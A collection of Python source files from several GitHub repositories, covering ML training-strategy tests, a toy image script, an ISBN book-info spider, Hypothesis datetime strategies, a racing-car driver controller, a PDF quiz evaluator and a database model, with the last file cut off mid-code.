{"seq_id":"41115811404","text":"import pytest\nimport numpy as np\n\nfrom dpipe.torch import to_np\nfrom dpipe.train import ConsoleLogger\nfrom dpipe.torch import inference_step\nfrom dpipe.train.policy import Schedule\nfrom dpipe.prototypes import GradientsAccumulator, LossAccumulator, train_multiple_strategies\n\n\n@pytest.mark.parametrize(\"use_hf\", [False, True])\ndef test_single_forward_loss(forward_strategy_all_ds_batch, task_data, use_hf):\n    task_inputs, task_gt = task_data\n    s, model = forward_strategy_all_ds_batch(use_hf, n_targets=1)\n    s.start_epoch(0)\n    pred = inference_step(task_inputs[..., None], architecture=model)[..., 0]\n    # loss weight == 2\n    true_loss = 2 * np.mean((pred - task_gt) ** 2)\n    first_batch_loss = to_np(s.process_batch(0, 0))\n    assert np.isclose(true_loss, first_batch_loss)\n    second_batch_loss = to_np(s.process_batch(0, 1))\n    assert np.isclose(true_loss, second_batch_loss)\n\n\n@pytest.mark.parametrize(\"use_hf\", [False, True])\n@pytest.mark.parametrize(\"accum\", [GradientsAccumulator, LossAccumulator])\ndef test_single_optimization(accum, use_hf, single_strategy, task_data):\n    lr = 0.1\n    task_inputs, task_gt = task_data\n    s, model = single_strategy(accum, use_hf, lr=lr, n_targets=1)\n    x_data, y_data = task_data\n    # test several iterations\n    s.start_epoch(0)\n    for batch_index in range(4):\n        init_bias = to_np(model.bias).copy()\n        init_weight = to_np(model.weight).copy()\n        pred = inference_step(x_data[..., None], architecture=model)[..., 0]\n        s.process_batch(0, batch_index)\n        # correct gradients\n        w_grad = 4 / len(x_data) * np.dot(x_data, pred - y_data)\n        b_grad = 4 * np.mean((pred - y_data))\n        # check gradients\n        atol = 1e-3\n        assert np.isclose(to_np(model.bias.grad), b_grad, atol=atol)\n        assert np.isclose(to_np(model.weight.grad), w_grad, atol=atol)\n        # check updates\n        assert np.isclose(to_np(model.weight), init_weight - lr * w_grad, atol=atol)\n        assert np.isclose(to_np(model.bias), init_bias - lr * b_grad, atol=atol)\n\n\n@pytest.mark.parametrize(\"use_hf\", [True, False])\n@pytest.mark.parametrize(\"accum\", [GradientsAccumulator, LossAccumulator])\ndef test_single_strategy_lifecycle(accum, use_hf, single_strategy):\n    weights = []\n\n    class Logger(ConsoleLogger):\n        def __init__(self, *args, **kwargs):\n            super().__init__(*args, **kwargs)\n\n        def policies(self, policies: dict, step: int):\n            nonlocal weights\n            weights.append(policies['weight'])\n            return super().policies(policies, step)\n\n    # check policy update\n    lr = Schedule(initial=1, epoch2value_multiplier={1: 2, 2: 3, 3: 4, 4: 5})\n    weight = Schedule(initial=1, epoch2value_multiplier={1: 2, 2: 3, 3: 4, 4: 5})\n    s, _ = single_strategy(accum, use_hf, lr=lr, weight=weight, logger=Logger(), n_targets=1)\n    counter = 0\n\n    def validate():\n        nonlocal counter\n        counter += 1\n        return {'counter': counter}\n\n    s.strategies[0].validate_step = validate\n    train_multiple_strategies(s, n_epochs=5)\n    assert counter == 5\n    assert weights == [1, 2, 6, 24, 120]\n\n    for param_group in s.optimization_policy.optimizer.param_groups:\n        assert param_group['lr'] == 120\n\n\n@pytest.mark.parametrize(\"use_hf\", [True, False])\n@pytest.mark.parametrize(\"accum\", [GradientsAccumulator, LossAccumulator])\ndef test_double_grad_propagation(accum, use_hf, single_strategy, task_data):\n    lr = 1\n    s, model = single_strategy(accum, use_hf, lr=lr, n_targets=0)\n    x_data, y_data = task_data\n    s.start_epoch(0)\n\n    # test several iterations\n    for batch_index in range(4):\n        init_bias = to_np(model.bias).copy()\n        init_weight = to_np(model.weight).copy()\n\n        s.process_batch(0, batch_index)\n        # correct gradients\n        atol = 1e-4\n        b_grad = 0.\n        w_grad = 4 * init_weight * np.mean((x_data - y_data) ** 2)\n        # check gradients\n        assert np.isclose(to_np(model.bias.grad), b_grad, atol=atol)\n        assert np.isclose(to_np(model.weight.grad), w_grad, atol=atol)\n        # check updates\n        assert np.isclose(to_np(model.weight), init_weight - lr * w_grad, atol=atol)\n        assert np.isclose(to_np(model.bias), init_bias - lr * b_grad, atol=atol)\n","repo_name":"neuro-ml/deep_pipe","sub_path":"dpipe/prototypes/strategy/tests/test_single_strategy.py","file_name":"test_single_strategy.py","file_ext":"py","file_size_in_byte":4258,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"35"}
{"seq_id":"5202971872","text":"from PIL import Image\n\nfileName = \"monMons.txt\"\nlength = 3\nbase = Image.open(\"baseMon.png\")\npool = []\n\nclass mon(object):\n    def __init__(self, color):\n        self.color = color # As a integer tupple of 3 numbers\n\n        \ndef importMons(fileName):\n    monsArray = []\n    with open(fileName, 'r') as f:\n        fileContent = f.readlines()\n        for i in range(len(fileContent)):\n            line = (fileContent[i].strip(\"\\n\")).split(\",\") # splits the line into the core components\n            if line[0][0] == \"#\": continue #ignores comments (denoted by \"#\" at the start)\n\n            if(len(line) == length):\n                monsArray.append(mon((int(line[0]), int(line[1]), int(line[2]) )))\n            else:\n                print(\"Line \", i+1, \" is invalid\")\n    return monsArray\n\ndef writeMon(monData):\n    strMonData = []\n    for i in range(len(monData)):\n        strMonData.append(str(monData[i]))\n    \n    \n    with open(fileName, \"a\") as f:\n        f.write(\",\".join(strMonData) + \"\\n\")\n\n#Let's create some monMons! ---------------------------------------------------\ndef getParents():\n    p1,p2 = randint(0,len(pool)-1),randint(0,len(pool)-1)\n    #Gets rid of any duplicates. We can't have any babies being born out of 1 person\n    while p1 == p2:\n        p2 = randint(0,len(pool)-1)\n \n    return [pool[p1],pool[p2]]\n \ndef createChild():\n    parents = getParents()\n \n    childData = [\n        parents[randint(0,1)].color[0],\n        parents[randint(0,1)].color[1],\n        parents[randint(0,1)].color[2],\n    ]\n    \n    #Mutation of the child\n    for i in range(3):\n        chance = randint(1,chanceOfMutation)\n        if chance == 1:\n            chance = randint(-2,2)\n            childData[i] += chance\n \n \n    writeMon(childData)\n    return mon(*childData)\n \ndef createChildren(numOfChildren):\n    #Creates new children for the pool\n    newMons = []\n    for i in range(numOfChildren):\n        newMons.append(createChild())\n    return newMons\n# Let's create some townsfolk! ------------------------------------------------\ndef paintMon(mon):\n    img = Image.open(\"baseMon.png\")\n    for y in range(img.height):\n        for x in range(img.width):\n            if img.getpixel((x, y)) == (0,0,0):\n                img.putpixel((x, y), (mon.color[0], mon.color[1], mon.color[2]))\n    return img\n\n#Main program start -----------------------------------------------------------\npool = importMons(fileName)\n\nfor i in range(len(pool)):\n    paintMon(pool[i]).save(\"images/{}.png\".format(i))\n\n","repo_name":"789tyre/monMons","sub_path":"townsfolk/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42949326248","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom isbn.items import IsbnLoader\n\n\nclass AmazonSpider(scrapy.Spider):\n    name = \"amazon\"\n    allowed_domains = [\"amazon.cn\"]\n    custom_settings = {\n        'COOKIES_ENABLED': True,\n        'COOKIES_DEBUG': True,\n        'DOWNLOAD_DELAY': 1,\n        'DOWNLOADER_MIDDLEWARES': {\n            'isbn.middlewares.RandomUserAgentMiddleware': 300,\n        }\n    }\n\n    def __init__(self, isbn_list, *args, **kwargs):\n        super(AmazonSpider, self).__init__(*args, **kwargs)\n        self.isbn_list = isbn_list\n\n    def start_requests(self):\n        for isbn in self.isbn_list:\n            url = f'https://www.amazon.cn/s/field-keywords={isbn}'\n            yield scrapy.Request(url, meta={'isbn': isbn}, callback=self.parse)\n\n    def parse(self, response):\n        for div in response.xpath(\"//div[@class='s-item-container']\"):\n            url = div.xpath(\".//a[contains(@class, 's-color-twister-title-link')]/@href\").extract_first()\n            print(\"url\", url)\n            if url:\n                yield scrapy.Request(url=url, meta=response.meta, callback=self.parse_book_page)\n\n    def parse_book_page(self, response):\n        import isbnlib\n        il = IsbnLoader(selector=response)\n        il.add_xpath('title', \".//span[@id='productTitle' or @id='ebooksProductTitle']/text()\")\n        il.add_xpath('author', \".//span[@class='author notFaded']/a/text()\")\n        il.add_value('isbn', isbnlib.mask(response.meta['isbn']))\n        il.add_xpath('publish', \"//li[b/text()='出版社:']/text()\")\n        item = il.load_item()\n        yield item\n\n\ndef from_file(filename):\n    with open(filename) as f:\n        url_list = f.readlines()\n    return url_list\n\n\ndef main():\n    from scrapy.crawler import CrawlerProcess\n    from scrapy.utils.project import get_project_settings\n    import re\n\n    url_list = [\n        # QQ 扫码得到的链接\n        # \"http://qm.qq.com/cgi-bin/result?r=9787302444060&p=i&v=7.0.1.407\",\n    ]\n    # or from file\n    url_list = set(url_list + from_file('list.txt'))\n    isbn_list = [re.search('r=(\\d*)', url).group(1) for url in url_list]\n    print(isbn_list)\n    settings = {**get_project_settings(), 'FEED_FORMAT': 'csv', 'FEED_URI': 'books.csv'}\n    process = CrawlerProcess(settings)\n    process.crawl(AmazonSpider, isbn_list)\n    process.start()\n    process.stop()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"zpzjzj/book_info_import","sub_path":"isbn/spiders/amazon.py","file_name":"amazon.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"1655615071","text":"import datetime as dt\nfrom calendar import monthrange\nfrom typing import Optional\n\nfrom hypothesis.errors import InvalidArgument\nfrom hypothesis.internal.conjecture import utils\nfrom hypothesis.internal.validation import check_type, check_valid_interval\nfrom hypothesis.strategies._internal.core import (\n    defines_strategy_with_reusable_values,\n    deprecated_posargs,\n    just,\n    none,\n)\nfrom hypothesis.strategies._internal.strategies import SearchStrategy\n\nDATENAMES = (\"year\", \"month\", \"day\")\nTIMENAMES = (\"hour\", \"minute\", \"second\", \"microsecond\")\n\n\ndef is_pytz_timezone(tz):\n    if not isinstance(tz, dt.tzinfo):\n        return False\n    module = type(tz).__module__\n    return module == \"pytz\" or module.startswith(\"pytz.\")\n\n\ndef draw_capped_multipart(data, min_value, max_value):\n    assert isinstance(min_value, (dt.date, dt.time, dt.datetime))\n    assert type(min_value) == type(max_value)\n    assert min_value <= max_value\n    result = {}\n    cap_low, cap_high = True, True\n    duration_names_by_type = {\n        dt.date: DATENAMES,\n        dt.time: TIMENAMES,\n        dt.datetime: DATENAMES + TIMENAMES,\n    }\n    for name in duration_names_by_type[type(min_value)]:\n        low = getattr(min_value if cap_low else dt.datetime.min, name)\n        high = getattr(max_value if cap_high else dt.datetime.max, name)\n        if name == \"day\" and not cap_high:\n            _, high = monthrange(**result)\n        if name == \"year\":\n            val = utils.integer_range(data, low, high, 2000)\n        else:\n            val = utils.integer_range(data, low, high)\n        result[name] = val\n        cap_low = cap_low and val == low\n        cap_high = cap_high and val == high\n    return result\n\n\nclass DatetimeStrategy(SearchStrategy):\n    def __init__(self, min_value, max_value, timezones_strat):\n        assert isinstance(min_value, dt.datetime)\n        assert isinstance(max_value, dt.datetime)\n        assert min_value.tzinfo is None\n        assert max_value.tzinfo is None\n        assert min_value <= max_value\n        assert isinstance(timezones_strat, SearchStrategy)\n        self.min_value = min_value\n        self.max_value = max_value\n        self.tz_strat = timezones_strat\n\n    def do_draw(self, data):\n        result = draw_capped_multipart(data, self.min_value, self.max_value)\n        result = dt.datetime(**result)\n        tz = data.draw(self.tz_strat)\n        try:\n            if is_pytz_timezone(tz):\n                # Can't just construct; see http://pytz.sourceforge.net\n                return tz.normalize(tz.localize(result))\n            return result.replace(tzinfo=tz)\n        except (ValueError, OverflowError):\n            msg = \"Failed to draw a datetime between %r and %r with timezone from %r.\"\n            data.note_event(msg % (self.min_value, self.max_value, self.tz_strat))\n            data.mark_invalid()\n\n\n@defines_strategy_with_reusable_values\n@deprecated_posargs\ndef datetimes(\n    min_value: dt.datetime = dt.datetime.min,\n    max_value: dt.datetime = dt.datetime.max,\n    *,\n    timezones: SearchStrategy[Optional[dt.tzinfo]] = none()\n) -> SearchStrategy[dt.datetime]:\n    \"\"\"datetimes(min_value=datetime.datetime.min, max_value=datetime.datetime.max, *, timezones=none())\n\n    A strategy for generating datetimes, which may be timezone-aware.\n\n    This strategy works by drawing a naive datetime between ``min_value``\n    and ``max_value``, which must both be naive (have no timezone).\n\n    ``timezones`` must be a strategy that generates\n    :class:`~python:datetime.tzinfo` objects (or None,\n    which is valid for naive datetimes).  A value drawn from this strategy\n    will be added to a naive datetime, and the resulting tz-aware datetime\n    returned.\n\n    .. note::\n        tz-aware datetimes from this strategy may be ambiguous or non-existent\n        due to daylight savings, leap seconds, timezone and calendar\n        adjustments, etc.  This is intentional, as malformed timestamps are a\n        common source of bugs.\n\n    :py:func:`hypothesis.extra.pytz.timezones` requires the :pypi:`pytz`\n    package, but provides all timezones in the Olsen database.\n    :py:func:`hypothesis.extra.dateutil.timezones` requires the\n    :pypi:`python-dateutil` package, and similarly provides all timezones\n    there.  If you want to allow naive datetimes, combine strategies\n    like ``none() | timezones()``.\n\n    Alternatively, you can create a list of the timezones you wish to allow\n    (e.g. from the standard library, :pypi:`dateutil <python-dateutil>`,\n    or :pypi:`pytz`) and use :py:func:`sampled_from`.\n\n    Examples from this strategy shrink towards midnight on January 1st 2000,\n    local time.\n    \"\"\"\n    # Why must bounds be naive?  In principle, we could also write a strategy\n    # that took aware bounds, but the API and validation is much harder.\n    # If you want to generate datetimes between two particular moments in\n    # time I suggest (a) just filtering out-of-bounds values; (b) if bounds\n    # are very close, draw a value and subtract its UTC offset, handling\n    # overflows and nonexistent times; or (c) do something customised to\n    # handle datetimes in e.g. a four-microsecond span which is not\n    # representable in UTC.  Handling (d), all of the above, leads to a much\n    # more complex API for all users and a useful feature for very few.\n    check_type(dt.datetime, min_value, \"min_value\")\n    check_type(dt.datetime, max_value, \"max_value\")\n    if min_value.tzinfo is not None:\n        raise InvalidArgument(\"min_value=%r must not have tzinfo\" % (min_value,))\n    if max_value.tzinfo is not None:\n        raise InvalidArgument(\"max_value=%r must not have tzinfo\" % (max_value,))\n    check_valid_interval(min_value, max_value, \"min_value\", \"max_value\")\n    if not isinstance(timezones, SearchStrategy):\n        raise InvalidArgument(\n            \"timezones=%r must be a SearchStrategy that can provide tzinfo \"\n            \"for datetimes (either None or dt.tzinfo objects)\" % (timezones,)\n        )\n    return DatetimeStrategy(min_value, max_value, timezones)\n\n\n@defines_strategy_with_reusable_values\n@deprecated_posargs\ndef times(\n    min_value: dt.time = dt.time.min,\n    max_value: dt.time = dt.time.max,\n    *,\n    timezones: SearchStrategy[Optional[dt.tzinfo]] = none()\n) -> SearchStrategy[dt.time]:\n    \"\"\"times(min_value=datetime.time.min, max_value=datetime.time.max, *, timezones=none())\n\n    A strategy for times between ``min_value`` and ``max_value``.\n\n    The ``timezones`` argument is handled as for :py:func:`datetimes`.\n\n    Examples from this strategy shrink towards midnight, with the timezone\n    component shrinking as for the strategy that provided it.\n    \"\"\"\n    check_type(dt.time, min_value, \"min_value\")\n    check_type(dt.time, max_value, \"max_value\")\n    if min_value.tzinfo is not None:\n        raise InvalidArgument(\"min_value=%r must not have tzinfo\" % min_value)\n    if max_value.tzinfo is not None:\n        raise InvalidArgument(\"max_value=%r must not have tzinfo\" % max_value)\n    check_valid_interval(min_value, max_value, \"min_value\", \"max_value\")\n    day = dt.date(2000, 1, 1)\n    return datetimes(\n        min_value=dt.datetime.combine(day, min_value),\n        max_value=dt.datetime.combine(day, max_value),\n        timezones=timezones,\n    ).map(lambda t: t.timetz())\n\n\nclass DateStrategy(SearchStrategy):\n    def __init__(self, min_value, max_value):\n        assert isinstance(min_value, dt.date)\n        assert isinstance(max_value, dt.date)\n        assert min_value < max_value\n        self.min_value = min_value\n        self.max_value = max_value\n\n    def do_draw(self, data):\n        return dt.date(**draw_capped_multipart(data, self.min_value, self.max_value))\n\n\n@defines_strategy_with_reusable_values\ndef dates(\n    min_value: dt.date = dt.date.min, max_value: dt.date = dt.date.max\n) -> SearchStrategy[dt.date]:\n    \"\"\"dates(min_value=datetime.date.min, max_value=datetime.date.max)\n\n    A strategy for dates between ``min_value`` and ``max_value``.\n\n    Examples from this strategy shrink towards January 1st 2000.\n    \"\"\"\n    check_type(dt.date, min_value, \"min_value\")\n    check_type(dt.date, max_value, \"max_value\")\n    check_valid_interval(min_value, max_value, \"min_value\", \"max_value\")\n    if min_value == max_value:\n        return just(min_value)\n    return DateStrategy(min_value, max_value)\n\n\nclass TimedeltaStrategy(SearchStrategy):\n    def __init__(self, min_value, max_value):\n        assert isinstance(min_value, dt.timedelta)\n        assert isinstance(max_value, dt.timedelta)\n        assert min_value < max_value\n        self.min_value = min_value\n        self.max_value = max_value\n\n    def do_draw(self, data):\n        result = {}\n        low_bound = True\n        high_bound = True\n        for name in (\"days\", \"seconds\", \"microseconds\"):\n            low = getattr(self.min_value if low_bound else dt.timedelta.min, name)\n            high = getattr(self.max_value if high_bound else dt.timedelta.max, name)\n            val = utils.integer_range(data, low, high, 0)\n            result[name] = val\n            low_bound = low_bound and val == low\n            high_bound = high_bound and val == high\n        return dt.timedelta(**result)\n\n\n@defines_strategy_with_reusable_values\ndef timedeltas(\n    min_value: dt.timedelta = dt.timedelta.min,\n    max_value: dt.timedelta = dt.timedelta.max,\n) -> SearchStrategy[dt.timedelta]:\n    \"\"\"timedeltas(min_value=datetime.timedelta.min, max_value=datetime.timedelta.max)\n\n    A strategy for timedeltas between ``min_value`` and ``max_value``.\n\n    Examples from this strategy shrink towards zero.\n    \"\"\"\n    check_type(dt.timedelta, min_value, \"min_value\")\n    check_type(dt.timedelta, max_value, \"max_value\")\n    check_valid_interval(min_value, max_value, \"min_value\", \"max_value\")\n    if min_value == max_value:\n        return just(min_value)\n    return TimedeltaStrategy(min_value=min_value, max_value=max_value)\n","repo_name":"michaelJwilson/mockchallenge","sub_path":"master/.conda/envs/mockchallenge/lib/python3.7/site-packages/hypothesis/strategies/_internal/datetime.py","file_name":"datetime.py","file_ext":"py","file_size_in_byte":9908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38515584861","text":"import datetime\nimport logging\n\nimport math\nimport os\nimport pickle\n\nfrom pytocl.analysis import DataLogWriter\nfrom pytocl.car import State, Command, MPS_PER_KMH\nfrom pytocl.controller import CompositeController, ProportionalController, IntegrationController, \\\n    DerivativeController\n\n_logger = logging.getLogger(__name__)\n\n\nclass Driver:\n    \"\"\"Driving logic.\n\n    Implement the driving intelligence in this class by processing the current car state as inputs\n    creating car control commands as a response. The ``drive`` function is called periodically\n    every 20ms and must return a command within 10ms wall time.\n    \"\"\"\n\n    def __init__(self, logdata=True):\n        self.steering_ctrl = CompositeController(\n            ProportionalController(0.4),\n            IntegrationController(0.2, integral_limit=1.5),\n            DerivativeController(2)\n        )\n        self.acceleration_ctrl = CompositeController(\n            ProportionalController(3.7),\n        )\n        self.data_logger = DataLogWriter() if logdata else None\n\n    @property\n    def range_finder_angles(self):\n        \"\"\"Iterable of 19 fixed range finder directions [deg].\n\n        The values are used once at startup of the client to set the directions of range finders.\n        During regular execution, a 19-valued vector of track distances in these directions is\n        returned in ``state.State.tracks``.\n        \"\"\"\n        return -90, -75, -60, -45, -30, -20, -15, -10, -5, 0, 5, 10, 15, 20, 30, 45, 60, 75, 90\n\n    def on_shutdown(self):\n        \"\"\"Server requested driver shutdown.\n\n        Optionally implement this event handler to clean up or write data before the application is\n        stopped.\n        \"\"\"\n        if self.data_logger:\n            self.data_logger.close()\n            self.data_logger = None\n\n    def drive(self, carstate: State) -> Command:\n        \"\"\"Produces driving command in response to newly received car state.\n\n        This is a dummy driving routine, very dumb and not really considering a lot of inputs. But\n        it will get the car (if not disturbed by other drivers) successfully driven along the race\n        track.\n        \"\"\"\n        command = Command()\n        self.steer(carstate, 0.0, command)\n\n        #ACC_LATERAL_MAX = 6400 * 5\n        #v_x = min(80, math.sqrt(ACC_LATERAL_MAX / abs(command.steering)))\n        v_x = 80\n\n        self.accelerate(carstate, v_x, command)\n\n        if self.data_logger:\n            self.data_logger.log(carstate, command)\n\n        return command\n\n    def accelerate(self, carstate, target_speed, command):\n        # compensate engine deceleration, but invisible to controller to prevent braking:\n        speed_error = 1.0025 * target_speed * MPS_PER_KMH - carstate.speed_x\n        acceleration = self.acceleration_ctrl.control(speed_error, carstate.current_lap_time)\n\n        # stabilize use of gas and brake:\n        acceleration = math.pow(acceleration, 3)\n\n        if acceleration > 0:\n            if abs(carstate.distance_from_center) >= 1:\n                # off track, reduced grip:\n                acceleration = min(0.4, acceleration)\n\n            command.accelerator = min(acceleration, 1)\n\n            if carstate.rpm > 8000:\n                command.gear = carstate.gear + 1\n\n        #else:\n        #    command.brake = min(-acceleration, 1)\n\n        if carstate.rpm < 2500:\n            command.gear = carstate.gear - 1\n\n        if not command.gear:\n            command.gear = carstate.gear or 1\n\n    def steer(self, carstate, target_track_pos, command):\n        steering_error = target_track_pos - carstate.distance_from_center\n        command.steering = self.steering_ctrl.control(steering_error, carstate.current_lap_time)\n","repo_name":"moltob/pytocl","sub_path":"pytocl/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"}
{"seq_id":"38376172947","text":"## importing required modules and libraries\nimport sys, subprocess, csv\ntry:\n    import fitz\nexcept ImportError: \n    print(\"PyMuPDF is not installed. Installing now...\")\n    try: subprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", \"PyMuPDF\"]); print(\"PyMuPDF installed successfully.\"); import fitz\n    except subprocess.CalledProcessError: print(\"Failed to install PyMuPDF.\\nPlease use internet to install 'PyMuPDF' package.\"); sys.exit()\ntry:\n    from tkinter import filedialog\nexcept ImportError:\n    print('tkinter is not installed. Installing now...')\n    try: subprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", \"tkinter\"]); print('tkinker intalled successfully.'); from tkinter import filedialog\n    except subprocess.CalledProcessError: print('Failed to install tkinter.\\nPlease use internet to install \\'Tkinter\\' package.'); sys.exit()\n\nfilepaths = {'answerkey':None,'transcript':None}\n\n## required functions for task\ndef GetFiles():\n    global filepaths\n    print('\\nSelect Answer Key pdf file')\n    AnswerKey = filedialog.askopenfilename(title='Answer Key',filetypes=[('Answer Key', '*.pdf')])\n    print('selected file :',AnswerKey)\n    print('Select Transcript pdf file')\n    Transcript = filedialog.askopenfilename(title='Transcript',filetypes=[('Transcript', '*.pdf')])\n    print('selected file :',Transcript,'\\n')\n    if FileCheck(AnswerKey,'A') and FileCheck(Transcript,'T'):\n        filepaths['answerkey']=AnswerKey\n        filepaths['transcript']=Transcript\n        return filepaths\n    else: print('Please select CORRECT Answer Key and Transcript!'); sys.exit()\n# no problem below\ndef FileCheck(file, K):\n    try:\n        import fitz\n        doc = fitz.open(file)\n        text = doc[0].get_text().split('\\n')\n        print(text)\n        if K=='A':\n            if 'Indian Institute of Technology, Madras - BS in Data Science and Applications' in text:\n                return True\n        elif K=='T':\n            if 'Name' in text and 'QP Set' in text:\n                return True\n        return False\n    except:\n        return False\n\ndef TransCSV(file):\n    trans = open('./csv files/trans.txt','w',newline='')\n    write = csv.writer(trans)\n    #reading transcript pdf\n    doc = fitz.open(file)\n    text = ''.join([page.get_text() for page in doc])\n    text = [line.strip() for line in text.split('\\n')][:-1]\n    # writing information\n    write.writerow([text[1]])\n    write.writerow([text[3][text[3].index('QP'):]])\n    for i in range(11,len(text)):\n        if i%2!=0 and i!=len(text)-1 and text[i+1]!='Unanswered':\n            if text[i][:4]==text[i+1][:4]:\n                write.writerow([text[i],'$'.join(text[i+1].split(','))])\n            else:\n                write.writerow([text[i],text[i+1]])\n\ndef AnswerCSV(file):\n    def color(num):\n        return 'Green' if num==32512 else 'Red' if num==16711680 else 'Other'\n    doc = fitz.open(file)\n    answer = open('./csv files/key.txt','w',newline='')\n    write = csv.writer(answer)\n    #writing question paper id in key\n    text=doc[0].get_text().strip().split('\\n')\n    for x in text: \n        if 'IIT M' in x and 'QP' in x:\n            write.writerow([x[x.index('QP'):].split()[0]])\n            break\n    #questions data saving\n    def add(Question_id,Question_marks,Question_type,COptions,WOptions):\n        if Question_id==None: return \n        if Question_type in ['MSQ','MCQ']:\n            write.writerow([Question_id,Question_marks,Question_type,'$'.join(COptions),'$'.join(WOptions)])\n        elif Question_type in ['SA']:\n            write.writerow([Question_id,Question_marks,Question_type,':'.join(COptions[0].split(' to ')),'$'.join(WOptions)])\n        Question_id=None;Question_marks=None;Question_type=None;COptions=[];WOptions=[]\n    Qcount=0;Question_id=None;Question_marks=None;Question_type=None;COptions=[];WOptions=[]\n    for i in range(len(doc)):\n        page = doc[i]\n        blocks = page.get_text(\"dict\", flags=11)[\"blocks\"]\n        for b in blocks:  # iterate through the text blocks\n            for l in b[\"lines\"]:  # iterate through the text lines\n                for s in l[\"spans\"]:  # iterate through the text spans\n                    if s['size']==18 and s['text'][:5]!='Group':\n                        if Question_id!=None: \n                            add(Question_id,Question_marks,Question_type,COptions,WOptions)\n                        Question_id=None;Question_marks=None;Question_type=None;COptions=[];WOptions=[]\n                        write.writerow([s['text']])\n                    elif ('Question Id' in s['text'] and 'COMPREHENSION' not in s['text']):\n                        if Question_id!=None: add(Question_id,Question_marks,Question_type,COptions,WOptions)\n                        Question_id=None;Question_marks=None;Question_type=None;COptions=[];WOptions=[]\n                        Qcount+=1\n                        row = s['text'].split(' ')\n                        Question_id = row[7];Question_marks=0;Question_type=row[11];COptions=[];WOptions=[]\n                    elif 'Correct Marks' in s['text']:\n                        Question_marks = s['text'].split()[3]\n                    elif color(s['color']) in ['Green','Red']:\n                        if len(s['text'])==len('6406531931004. ') and str(s['text'][:4])=='6406531931004. '[:4]:\n                            if color(s['color'])=='Green':\n                                COptions.append(s['text'][:-2])\n                            elif color(s['color'])=='Red':\n                                WOptions.append(s['text'][:-2])\n                        elif Question_type=='SA' and color(s['color'])=='Green':\n                            COptions.append(s['text'])\n                            add(Question_id,Question_marks,Question_type,COptions,WOptions)\n                            Question_id=None;Question_marks=None;Question_type=None;COptions=[];WOptions=[]\n                    if (i== len(doc)-1 and blocks.index(b)==len(blocks)-1):\n                        add(Question_id,Question_marks,Question_type,COptions,WOptions)\n                        Question_id=None;Question_marks=None;Question_type=None;COptions=[];WOptions=[]\n    # print(f'Total no of questions ():{Qcount}')\n\ndef CheckCode():\n    key = open('./csv files/key.txt')\n    trans = open('./csv files/trans.txt')\n    Name = trans.readline() # to remove first line\n    Akey = key.readline().strip(); Tkey = trans.readline().strip() #selecting QP set codes\n    return (Akey, Tkey)\n\ndef Evaluate():\n    key = open('./csv files/key.txt')\n    trans = open('./csv files/trans.txt')\n    Name = trans.readline().strip()\n    Akey = key.readline().strip(); Tkey = trans.readline().strip()\n    if Akey!=Tkey:\n        return 'keys not matching'\n    Key = [ques.strip() for ques in key]\n    Resp = {}\n    for line in trans:\n        line = line.strip()\n        Resp[line.split(',')[0]]=line.split(',')[1]\n    print(f'Hey, {Name}. Your scores in each subject are: ')\n    #Grouping courses and evaluating\n    Course=None;Answerkey=[];result=[]\n    for line in Key:\n        if len(line.split(','))==1 or Key.index(line)==len(Key)-1:\n            if Course!=None:\n                res=(Calculate(Course, Answerkey, Resp))\n                if res!=None:\n                    result.append(res)\n            Course=line;Answerkey=[]\n        else:\n            Answerkey.append(line.split(','))\n    return result\n\ndef Calculate(Course, SecQs, Resp):\n    if SecQs[0][0] not in Resp:\n        return None\n    Tmarks=0;Smarks=0\n    for ques in SecQs:\n        Tmarks+=float(ques[1])\n        if ques[0] in Resp:\n            if ques[2]=='SA':\n                if len(ques[3].split(':'))==1:\n                    if ques[3]==Resp[ques[0]]:\n                        Smarks+=float(ques[1])\n                else:\n                    # print(float(ques[3].split(':')[0]),float(Answ[ques[0]]),float(ques[3].split(':')[1]))\n                    if float(ques[3].split(':')[0]) <= float(Resp[ques[0]]) <= float(ques[3].split(':')[1]):\n                        Smarks+=float(ques[1])\n            else:\n                count=0;total=len(ques[3].split('$'))\n                for ans in Resp[ques[0]].split('$'):\n                    if ans in ques[4].split('$'):\n                        count=0; break\n                    if ans in ques[3].split('$'):\n                        count+=1\n                Smarks+=(count/total)*float(ques[1])\n    marks = (Smarks/Tmarks)*100\n    return (Course, marks)\n\ndef clear():\n    trans = open('./csv files/trans.txt','w',newline='')\n    trans.writelines('')\n    answ = open('./csv files/key.txt','w',newline='')\n    answ.writelines('')\n","repo_name":"nandanreddyp/QuizEvaluator4-IITM_BS","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":8600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28299134358","text":"from datetime import datetime\nfrom app import db\n\n\nclass Bloque(db.Model):\n    __tablename__ = \"bloques\"\n\n    id_bloque = db.Column(\n        db.Integer, db.Sequence(\"bloques_id_bloque_seq\"), primary_key=True, unique=True\n    )\n    id_sesion = db.Column(\n        db.Integer,\n        db.ForeignKey(\"sesiones.id_sesion\", ondelete=\"cascade\"),\n        nullable=False,\n    )\n    ejercicios = db.relationship(\n        \"EjercicioXBloque\",\n        lazy=\"subquery\",\n        backref=db.backref(\"bloques\", lazy=True),\n        order_by=\"EjercicioXBloque.num_ejercicio\",\n        cascade=\"all, delete-orphan\",\n    )\n    num_bloque = db.Column(db.Integer)\n    series = db.Column(db.Integer)\n    creado_en = db.Column(db.DateTime, default=datetime.utcnow)\n    actualizado_en = db.Column(db.DateTime, default=None)\n\n    def __init__(self, ejercicios, num_bloque, series, id_sesion=None):\n        self.id_sesion = id_sesion\n        self.ejercicios = ejercicios\n        self.num_bloque = num_bloque\n        self.series = series\n\n    def __repr__(self):\n        return \"<Bloque {}>\".format(self.id_bloque)\n\n    def to_json(self):\n        return {\n            \"id\": 